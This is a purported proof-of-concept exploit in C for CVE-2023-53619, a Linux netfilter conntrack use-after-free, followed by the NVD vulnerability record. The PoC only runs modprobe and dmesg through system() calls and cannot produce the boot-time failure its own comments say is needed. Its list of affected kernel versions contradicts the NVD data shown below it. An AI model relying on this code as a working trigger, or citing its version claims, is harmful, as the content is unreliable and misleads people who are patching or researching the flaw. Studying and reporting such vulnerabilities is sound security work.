CVE-2023-53619

// CVE-2023-53619 PoC - Triggering Use-After-Free in netfilter conntrack // This PoC demonstrates how to trigger the UAF vulnerability by loading // a netfilter conntrack helper module after conntrack initialization fails. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> // Attempt to trigger the vulnerability by loading netfilter_conntrack_ftp // after conntrack initialization has failed (simulated via module parameter) int main(int argc, char *argv[]) { int ret; printf("[+] CVE-2023-53619 Linux Kernel netfilter conntrack UAF PoC\n"); printf("[+] Attempting to trigger Use-After-Free via module loading...\n"); // Step 1: Try to trigger conntrack init failure by manipulating BPF // This simulates the register_nf_conntrack_bpf() failure condition ret = system("modprobe nf_conntrack 2>/dev/null"); if (ret != 0) { printf("[*] nf_conntrack module load result: %d\n", ret); } // Step 2: Load the conntrack FTP helper module which accesses // nf_ct_helper_hash - this triggers the UAF if the hash was freed ret = system("modprobe nf_conntrack_ftp 2>/dev/null"); if (ret != 0) { printf("[*] nf_conntrack_ftp module load result: %d\n", ret); } // Step 3: Check kernel logs for UAF detection or oops printf("[+] Checking kernel logs for UAF indicators...\n"); system("dmesg | grep -i 'use.after.free\|nf_ct_helper\|UAF' | tail -20"); printf("[+] Done. Check dmesg for kernel oops or memory corruption.\n"); return 0; } /* * Trigger conditions: * 1. Kernel must be compiled with NF_CONNTRACK=y (built-in, not module) * 2. nf_conntrack_init_start() must fail during boot (e.g., BPF registration failure) * 3. User loads a netfilter conntrack helper module (e.g., nf_conntrack_ftp) * 4. The module's init function calls nf_conntrack_helpers_register() * 5. This accesses the freed nf_ct_helper_hash -> UAF triggered * * Affected kernel versions (before fix): * - Linux 6.6.x before 6.6.54 * - Linux 6.1.x before 6.1.96 * - Linux 5.15.x before 5.15.163 * - Linux 5.10.x before 5.10.210 * - Linux 5.4.x before 5.4.286 * - Linux 4.19.x before 4.19.322 */

{"cve": {"id": "CVE-2023-53619", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:44.473", "lastModified": "2026-02-05T14:54:28.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: conntrack: Avoid nf_ct_helper_hash uses after free\n\nIf nf_conntrack_init_start() fails (for example due to a\nregister_nf_conntrack_bpf() failure), the nf_conntrack_helper_fini()\nclean-up path frees the nf_ct_helper_hash map.\n\nWhen built with NF_CONNTRACK=y, further netfilter modules (e.g:\nnetfilter_conntrack_ftp) can still be loaded and call\nnf_conntrack_helpers_register(), independently of whether nf_conntrack\ninitialized correctly. This accesses the nf_ct_helper_hash dangling\npointer and causes a uaf, possibly leading to random memory corruption.\n\nThis patch guards nf_conntrack_helper_register() from accessing a freed\nor uninitialized nf_ct_helper_hash pointer and fixes possible\nuses-after-free when loading a conntrack module."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.6", "versionEndExcluding": "4.14.322", "matchCriteriaId": "B2908A09-767F-4F8F-814F-257B8287CFDF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.291", "matchCriteriaId": "D2D2CA9F-4CC4-4AF5-8C6D-E58415AB782E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.251", "matchCriteriaId": "7FA663C4-CA72-4B5A-8592-7354D978F58E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.188", "matchCriteriaId": "43CAE50A-4A6C-488E-813C-F8DB77C13C8B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.121", "matchCriteriaId": "EC77775B-EC31-4966-966C-1286C02B2A85"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.39", "matchCriteriaId": "9BD1D4A1-304D-4187-8178-6D7C0050B1AF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.4", "matchCriteriaId": "A91BC267-63EE-413E-A6EF-6B96C2A278D1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc1:*:*:*:*:*:*", "matchCriteriaId": "0B3E6E4D-E24E-4630-B00C-8C9901C597B0"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/00716f25f9697d02a0d9bd622575c7c7321ba3d0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/05561f822f27b9fa88fa5504ddec34bf38833034", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4ee69c91cb8f9ca144bc0861969e5a1a3c6152a7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/61c7a5256543ae7d24cd9d21853d514c8632e1e9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6eef7a2b933885a17679eb8ed0796ddf0ee5309b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6f03ce2f1abcb9f9d0511e3659ca6eb60e39f566", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8289d422f5e484efe4a565fe18e862ecd621c175", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fce5cc7cbd4b92f979bf02c9ec5fb69aaeba92d7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}